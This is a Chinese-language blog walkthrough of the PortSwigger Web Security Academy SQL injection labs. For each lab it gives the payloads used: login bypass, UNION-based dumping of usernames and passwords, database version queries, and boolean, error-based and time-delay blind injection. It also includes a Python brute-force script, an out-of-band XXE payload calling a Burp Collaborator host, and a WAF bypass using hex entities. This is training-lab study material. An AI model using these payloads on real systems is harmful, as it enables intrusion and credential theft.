burpsuite靶场sql注入


工具准备(hackerbar)https://chrome.google.com/webstore/detail/ginpbkfigcoaokgflihfhhmglmbchinc


1.WHERE 子句中的 SQL 注入漏洞,允许检索隐藏数据

点击类别pets筛选

payload

1
?category=Pets' or '1'='1

输入后发现没有进行筛选

所以这是where语句造成的sql注入

实验完成


2.允许绕过登录的 SQL 注入漏洞

使用他提供的用户名进行登录

使用用户名

1
administrator’+or+'1'='1

或者使用万能密码

1
1'+or+'1'='1

3.确定查询返回的列数

这一关需要我们判断列数,联合查询判断列数的方法常用两种

1
2
order by 1 --+  
union select 1,2,3 --+

这里列数为三因此输入

1
2
3
' order by 3 --+
或者
' union select null,null,null --+ //这里只是判断列数但是吗,没有地方回显因此填null如果填数值会一直错

完成


4.查找包含文本的列

前面知道了有三列

现在这关是让我们测试他的回显,三列在回显的地方填数据,不回显填null

1
2
3
'+UNION+SELECT+'abcdef',NULL,NULL-- 
'+UNION+SELECT+null,'abcdef',NULL--
'+UNION+SELECT+null,NULL,'abcdef'--

当不报错时就是完成了实验


5.从其他表中检索数据

1
'+UNION+SELECT+'abc','def'--

发现列数为二而且两列都有返

根据题目提示可以直接查询user表的内容 payload为

1
'+UNION+SELECT+username,+password+FROM+users--

查询出所有账号和密码登录完成实验


6.在单个列中检索多个值

这关虽然有两列但是只有一个回显

使用payload可以在一个回显查询两个列值,用~隔开

1
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

7.查询Oracle上的数据库类型和版本

这题是针对Oracle的注入

针对不同的数据库进行注入语法会不同

1
2
3
'+UNION+SELECT+'abc','def'+FROM+dual--

//虽然这个payload是用来判断列数和找回显,但是由于Oracle 数据库的语法要求必须跟着一个表

成功找到回显

v$version视图

通过确认v$version视图的banner信息可以确认oracle各组件的版本信息

所以构造payload查询数据库信息

1
'+UNION+SELECT+banner,'def'+FROM+v$version--

查询成功


8.在MySQL和Microsoft上查询数据库类型和版本

这一关还是不同数据库的注入熟悉

先确定列数和找出回显

1
'+UNION+SELECT+'123','123'--+

再查询数据库版本

1
'+UNION+SELECT+@@version,'123'--+

9.列出非Oracle数据库上的数据库内容

找出回显

1
'  union select '1','2' --+

database()执行失败了那直接先列出所有表名再挑

1
'  union select database(),'2' --+

列出所有表名

1
union select '1',table_name from information_schema.tables --+

搜索users找到

payload看下列名

1
'union select '1',column_name from information_schema.columns where table_name='users_nbosed' --+

找到user password 字样的列名 那估计是这个表了

接下来查看数据

1
'union select username_aaivbq,password_tlepbn from  users_nbosed --+

成功拿到账号密码


10.列出Oracle上的数据库内容

这题是针对Oracle的注入

先找列数和回显

1
' union select '1','2' from dual --+

先查询所有表

Oracle的语法和mysql不一样,百度

payload

1
' union select table_name,'2' from all_tables --+

发现表USERS_PQNBDC

先找列名,所有表是all_tables。盲猜所有列是all_columns

payload

1
' union select column_name,'2' from all_columns where table_name='USERS_PQNBDC'--+

尴尬,还是百度一下

所有列是all_tab_columns

那payload为

1
' union select column_name,'2' from all_tab_columns where table_name='USERS_PQNBDC'--+

得到列名

接下来查询数据即可

1
' union select USERNAME_YCTHNA,PASSWORD_GLDACZ from USERS_PQNBDC --+

11.使用条件响应的盲SQL注入

这关是布尔盲注 注入点在cookie

提示已经给了表名和列名

先确定密码长度,payload

1
TrackingId=IPgS7VBmdSpwYAOd' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

确定了长度为20

payload

1
' AND (SELECT substring(password,1,1) FROM users WHERE username='administrator')='a

用burp爆破密码设置两个变量 爆破模式为集束炸弹

可以用脚本整理爆破结果

1
2
3
a={11:'a',17:'a',14:'b',15:'d',16:'g',7:'j',19:'j',8:'k',20:'n',5:'s',10:'t',1:'v',12:'v',18:'z',6:'0',9:'2',2:'3',4:'4',3:'5',13:'8'}
for key in sorted(a):
print( a[key],end="")

不过都使用到脚本了那直接写脚本一键爆破

把url Host Referer cookie里的session TrackingId替换即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
url='https://0a6900130436934cc083661000a70023.web-security-academy.net/'
h={
"Host":"0a6900130436934cc083661000a70023.web-security-academy.net",
"Referer":"https://0a6900130436934cc083661000a70023.web-security-academy.net/product?productId=5",
"Upgrade-Insecure-Requests":"1",
"cookie":"session=M6dkDdqgjVHZ68qqURJLVyHKDudPXdYq;TrackingId=mh8iapx7aLiba5B7'+AND+(SELECT+substring(password,%d,1)+FROM+users+WHERE+username='administrator')='%s",
"Sec-Fetch-Dest":"document",
"Sec-Fetch-Mode":"navigate",
"Sec-Fetch-Site":"same-origin",
"Sec-Fetch-User":"?1"
}
b='abcdefghijklmnopqrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ'
for i in range(21):
for n in b:
h["Cookie"] %(i,n)
res=requests.get(url,headers=h)
if 'Welcome' in res.text:
print(n,end="")


12.具有条件错误的盲SQL注入

参考https://www.shuzhiduo.com/A/MyJx2r1adn/

这关和上一关差不多,只是上一关用Welcome来判断这一关用是否报错判断

用order by 判断列数

1
2
' order by 1 --+ //页面正常
' order by 2 --+ //页面报错

因此列数为1

这题的网站使用的是Oracle 数据库,判断方法为

1
2
3
4
5
#查询一条空数据,由于Oracle 数据库每一条查询都需要带表名,所以会查询失败
TrackingId=xyz'||(SELECT '')||'

#把表名带上查询空数据,如果查询成功说名目标使用Oracle 数据库
'||(SELECT '' FROM dual)||'

然后测试密码长度

payload

1
'||(SELECT CASE WHEN LENGTH(password)>3 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

这个payload当语句执行结果正确时网页返回的是报错,所以这里可以得到密码长度为20

题目已经告诉了表名 列名 和用户名 可以直接查询密码

1
'||(SELECT CASE WHEN SUBSTR(password,2,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'


13.具有时间延迟的盲SQL注入

这关是延时注入,注入点在cookie

payload判断是否存在

1
' || pg_sleep(10)-

14.具有时间延迟和信息检索的盲SQL注入

在上一题的基础上注出密码,根据给出的payload 注出用户名 密码长度 密码

1
2
3
4
5
trackingid=x'%3bselect+case+when+(username='administrator')+then+pg_sleep(10)+else+pg_sleep(0)+end+from+users-- 用户名

trackingid=x'%3bselect+case+when+(username='administrator'+and+length(password)>2)+then+pg_sleep(10)+else+pg_sleep(0)+end+from+users-- 密码长度

trackingid=x'%3bselect+case+when+(username='administrator'+and+substring(password,2,1)='§a§')+then+pg_sleep(10)+else+pg_sleep(0)+end+from+users-- 密码

15.带外交互的盲 SQL 注入

  1. 访问商店的首页,并使用Burp Suite拦截和修改包含cookie的请求。TrackingId
  2. 修改 Cookie,将其更改为将触发与协作者服务器交互的有效负载。例如,您可以将 SQL 注入与基本的 XXE 技术相结合

payload

1
2
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

使用 burp collaborator client

替换之后的payload为

1
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//7y6mp6oqqpi26r9lyv2b8qogn7tyhn.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--

实验即可完成

16.带外数据泄露的盲 SQL 注入

在上一题的基础上进行交互

点击poll now进行交互 登陆得到的admin账号密码即可通关

17.通过 XML 编码使用过滤器旁路的 SQL 注入

点击进入商品页面

点击

抓包,发现有xml代码,而且可以用表达式控制 1+1 和 2 的返回结果是一样的因此可能存在注入

i

接下来直接尝试注入

发现有waf

在提示里有绕waf的提示

绕过 WAF

  1. 在注入 XML 时,请尝试使用 XML 实体对有效负载进行模糊处理。一种方法是使用 Hackvertor 扩展。只需突出显示您的输入,右键单击,然后选择 Hackvertor >扩展>编码 > dec_entities/hex_entities
  2. 重新发送请求,并注意您现在收到来自应用程序的正常响应。这表明您已成功绕过 WAF。

例1 进行base64编码:
<@base64_0>xz<@/base64_0>

例2 进行多级编码(multiple levels of encoding):
<@base64_1><@hex_0(" ")>xz<@/hex_0><@/base64_1>

先安装Hackvertor

使用payload

1
<@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities>

得到密码登录即可


burpsuite靶场sql注入
http://example.com/2022/11/16/burpsuite靶场sql注入/
作者
QY
发布于
2022年11月16日
许可协议